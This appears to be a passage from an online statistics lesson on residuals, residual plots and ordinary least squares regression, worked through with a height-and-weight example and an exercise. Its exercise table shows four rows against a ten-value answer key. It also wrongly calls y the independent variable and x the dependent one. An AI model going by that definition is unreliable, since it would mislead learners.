Note that when the actual value from your data lies below the linear model y < ŷ, you will get a negative residual. When the actual value from your data lies above the linear model y > ŷ, you will get a positive residual. This is because you always subtract the predicted value from the actual value to find the residual.
Here's an explanation of linear regression models from one of our instructors.
Now that you know how to find residuals see if you can find the residuals for the remaining data points. Use the actual and predicted values of y in the second and third columns of the table below to fill out the last column labeled “Residuals (e).”
Weight (x) Actual Height (y) Predicted Height (ŷ) Residuals (e)
127 lbs 64 in 62 in
138 lbs 61 in 64 in -3
145 lbs 68 in 65.5 in
163 lbs 71 in 68.85 in
Answer key: (From top to bottom) 2, -3, 2.5, -2.2, 1.9, 2.15, -5.12, 4.8, 1, -2
One of the biggest challenges of building a statistical model is deciding which model to use. How do you know whether to use a linear or a non-linear model? If you decide to use a linear model, how do you know what the slope and intercept of the line should be? What is the line of best fit?
Residuals are incredibly useful for determining which models are best suited for a particular data set. Using something called a residual plot graph, we can determine whether a linear or a non-linear model is preferable. We can also use the sum of the squared residuals to find a model that minimizes residuals. We’ll cover both of these topics next!
A residual plot is a scatter plot with the residuals of a variable plotted on the y-axis and the values of the x-variable plotted on the x-axis.
Continuing from our example above, let’s create a residual plot for our data on heights and weights. Earlier, we found that the residuals for our data were: 2, -3, 2.5, -2.2, 1.9, 2.15, -5.12, 4.8, 1, -2. Our residual plot has these residual values plotted against the y-axis, and the observed weights plotted against the x-axis.
You should always use a linear model when there is a linear relationship (either a positive or negative correlation) between your variables. You should use a non-linear relationship when the correlations between the variables change between being positive and negative. Sometimes, a scatter plot of your data will clearly show a linear or non-linear trend, but sometimes the pattern can be more ambiguous. If this is the case, you can use a residual plot to determine which model to use.
When a residual plot shows the residual values plotted randomly above and below the x-axis, then a linear model is a good fit for the data. This was the case in the residual plot for heights and weights, so we were right to use a linear model instead of a non-linear model.
When the plotted residuals follow a u-shaped pattern or an inverted u-shaped pattern, then a non-linear model is better suited for your data.
So far, we have talked a lot about statistical models. These models are called regressions. A linear regression model or regression line is the same thing as the linear models we have been discussing so far. It is a model of the association between two variables — an independent variable
y
- also called an outcome or response variable) - and a dependent variable
x
- or explainer variable.
Because a linear regression is a line, we can express linear regressions using the equation for a line.
As you may recall from a geometry class, the equation for a line is y=mx+b, where:
y
represents the value of the variable plotted on the y-axis
x
represents the value of the variable plotted on the x-axis
m
represents the slope of the line
b
represents the y-intercept of the line
We use the same equation but with slightly different notation when dealing with linear regression. You’ll often see a linear regression expressed in one of the following ways.
ŷ = a + bx
ŷ_{i} = ꞵ_{0} + ꞵ_{1}x_{i}
ŷ
ŷ_{i}
y
a
ꞵ_{0}
is the vertical intercept of the linear regression
b
ꞵ_{1}
is the slope of the linear regression (also referred to as the regression coefficient)
x
x_{i}
is the value of the x-variable associated with a particular value of
y
Once we’ve determined that a linear regression - as opposed to a non-linear - should be used, we can continue to use residuals to determine which line is the “best fit” for the data.
A method that is commonly used for this is called Ordinary Least Squares (OLS) method. In OLS, you choose the linear regression that minimizes the sum of the squared residuals. By doing this, you are essentially minimizing the discrepancies between the data and your model.
We square the residuals because some residuals are positive while others are negative. If we don’t square the residuals, the negative residuals will cancel out the positive residuals in our calculations. The reason why we don’t take the absolute value of the residuals instead of taking the squares is that we want to give more weight to very large residuals and make sure any large residuals are minimized. (A large residual squared will become an even larger number compared to a small residual that is squared.)
Ordinary Least Squares (OLS) Regression is a method for finding a linear regression where the regression used is the one that minimizes the sum of the squared residuals.
\text {OLS Regression Method}: min \Sigma (e_{n})^2
Let’s have another look at the scatter plot and linear regression we used for our weights and heights example.
Remember, the basic idea behind OLS is that we want to minimize the sum of the squared residuals. On our graph, the vertical distance of the lines represents the residuals.
If we were to use the OLS method, we would square the distance of each of the red lines and add all of the squared distances together. According to the OLS method, the regression we should choose is the one with the smallest squared distance!
To recap, a residual tells us how well a model fits the data. It is the difference between the actual value of a variable
y
and the predicted value of a variable
ŷ
In regression analysis, residuals can be used to determine whether a linear or a non-linear regression should be used to model the data. This determination can be made using a scatter plot of residuals called a residual plot. Residuals can also be used to determine which regression is the best fit for your data.
A common method for finding a model of “best fit” is the OLS method. In OLS, you choose the regression that minimizes the sum of the squared residuals.
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